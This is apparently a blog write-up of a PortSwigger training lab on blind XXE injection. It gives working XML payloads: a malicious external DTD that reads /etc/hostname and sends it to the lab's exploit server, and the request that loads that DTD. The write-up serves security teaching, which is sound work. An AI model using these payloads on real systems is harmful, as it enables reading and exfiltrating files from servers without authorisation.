Exploiting blind XXE to exfiltrate data using a malicious external DTD | Dec 25, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting blind XXE to exfiltrate data using a malicious external DTD! Without further ado, let’s dive in.

• Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆

Background

This lab has a “Check stock” feature that parses XML input but does not display the result.

To solve the lab, exfiltrate the contents of the /etc/hostname file.

Exploitation

Home page:

In previous labs, we found that there is an XXE injection vulnerability in the “Check stock” feature, which parses XML input.

Original XML data:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

Invalid XML data:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>a</productId>
    <storeId>1</storeId>
</stockCheck>

As you can see, it doesn’t display the response. Hence, this is a blind XXE injection.

To exploit that, we can host a malicious DTD(Document Type Definition) to exfiltrate target data.

Let’s use the exploit server to host an external DTD file:

Then, we can build our XXE payload:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://exploit-0a9500d303544494c05e3a7101f100d9.exploit-server.net/?data=%file;'>">
%eval;
%exfiltrate;

The above DTD will:

• Define an XML parameter entity called file, which contains the content of /etc/hostname
• Define an XML parameter entity called eval, which contains another dynamic declaration XML parameter entity called exfiltrate. The exfiltrate entity will be evaluated by making an HTTP request to our exploit server containing the value of the file entity within the URL query string.
• Then, use the eval entity, which uses the dynamic declaration of the exfiltrate entity
• Finally, use the exfiltrate, which sends data to the exploit server

Next, we can send an XXE payload, which fetches our external malicious DTD:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "https://exploit-0a9500d303544494c05e3a7101f100d9.exploit-server.net/exploit.dtd"> %xxe;]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

The second line will:

• Define an an XML parameter entity called xxe, which fetches our exploit server’s malicious DTD and interpret it inline

Let’s send the above XXE payload!

Exploit server access log:

We succesfully extracted the content of /etc/hostname!

What we’ve learned:

1. Exploiting blind XXE to exfiltrate data using a malicious external DTD